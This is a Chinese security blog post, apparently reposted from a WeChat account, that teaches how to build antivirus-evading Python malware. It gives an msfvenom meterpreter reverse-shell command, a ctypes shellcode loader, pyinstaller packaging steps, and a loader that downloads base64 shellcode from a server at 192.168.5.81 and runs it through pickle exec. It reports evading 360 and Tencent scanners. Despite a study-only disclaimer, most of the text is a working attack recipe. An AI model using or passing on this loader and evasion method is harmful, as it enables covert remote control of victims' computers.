Python免杀的爱恨情仇

admin 2023年8月20日15:01:44评论83 views字数 3147阅读10分29秒阅读模式

免杀一直是红队和蓝队热议的话题。各种姿势的免杀绕过令人瞠目结舌。python作为当今很热门的编程语言之一,它是如何进行免杀操作的呢?

本文仅供学习和研究,坚决反对一切危害网络安全的行为。

公众号名称由原来的kali黑客笔记改名为kali笔记。还望各位老铁们谅解!

基于内存

我们首先在msf中生成python的shellcode

msfvenom-pwindows/x64/meterpreter_reverse_tcpLHOST=192.168.5.81LPORT=5555-fpython-o33.txt

Python免杀的爱恨情仇

替换关键词。Python免杀的爱恨情仇

替换完成后,将下面代码放到下面shellcode中去。

importctypes#(kali生成payload存放位置)shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))#创建一个线程从shellcode防止位置首地址开始执行handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

Python免杀的爱恨情仇

接下来,我们来测试是否能正常上线。

useexploit/multi/handlersetpayloadwindows/x64/meterpreter_reverse_tcpsetLHOST192.168.5.81setLPORT5555exploit-j

将保存的python代码复制到目标主机,执行python文件 如下,成功得到会话。Python免杀的爱恨情仇

打包exe

并不是所有的目标主机都有python环境,因此我们需要将其打包成exe文件。执行命令如下

pyinstaller-Fw-itomcat.ico--key=dabiaogebiao.py
Python免杀的爱恨情仇

-F 打包为单文件-w不显示窗口 -i ico图标文件 --key 加密字节码的密钥 等待打包完成。打包好后的可执行程序在dist目录中

Python免杀的爱恨情仇运行程序后,成功上线。

免杀测试

360云查杀Python免杀的爱恨情仇

电脑管家Python免杀的爱恨情仇

在线查杀1/46Python免杀的爱恨情仇

混淆shellcode

先用cs或者msf生成python shellcode 然后把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器。Python免杀的爱恨情仇

利用base64加密Python免杀的爱恨情仇

接着,我们将上面加密后的代码保存为txt文件。放在/var/www/html目录下。然后启动apache服务。

serviceapache2start

注意給放入的txt文件要添加权限,不然访问会403。即chmod -R 777 htmlPython免杀的爱恨情仇

接着修改加载器的服务器地址后进行一次BaSe64加密,然后把代码放在txt里面并存放到服务器

importctypes,urllib.request,codecs,base64shellcode=urllib.request.urlopen('http://192.168.5.81/33.txt').read()shellcode=shellcode.strip()shellcode=base64.b64decode(shellcode)shellcode=codecs.escape_decode(shellcode)[0]shellcode=bytearray(shellcode)ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

修改主程序 修改服务器地址后使用pyinstaller打包成exe可执行文件

#-*-coding:utf-8-*-#coding:unicode_escapeimportpickleimportctypes,urllib.request,codecs,base64sectr=urllib.request.urlopen('http://192.168.5.81/44.txt').read()#sectr=str(sectr,'UTF-8')#print(sectr)sectr=base64.b64decode(sectr).decode("utf-8")classA(object):def__reduce__(self):return(exec,(sectr,))ret=pickle.dumps(A())ret_base64=base64.b64encode(ret)ret_decode=base64.b64decode(ret_base64)pickle.loads(ret_decode)

为了保险起见,我们可以将其进行代码混淆Python免杀的爱恨情仇

接着打包为exe文件

pyinstaller-Fw-itomcat.icorr.py

Python免杀的爱恨情仇

完美逃逸腾讯 360云查杀Python免杀的爱恨情仇

Python免杀的爱恨情仇

Cs 完美上线Python免杀的爱恨情仇

总结

无论是哪种方法,归根到底都是利用了base64加密 XOR AES加密、代码混淆等方式。因此在实际工作中切勿运行来历不明的工具和软件。

BREAK AWAY
往期推荐
01
基于GO语言的免杀
02
浅谈msfconsole下的信息收集
03
一款有意思的XSS靶场通关笔记 建议收藏

更多精彩文章 欢迎关注我们

原文始发于微信公众号(kali笔记):Python免杀的爱恨情仇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月20日15:01:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Python免杀的爱恨情仇https://cn-sec.com/archives/1965520.html

发表评论

匿名网友 填写信息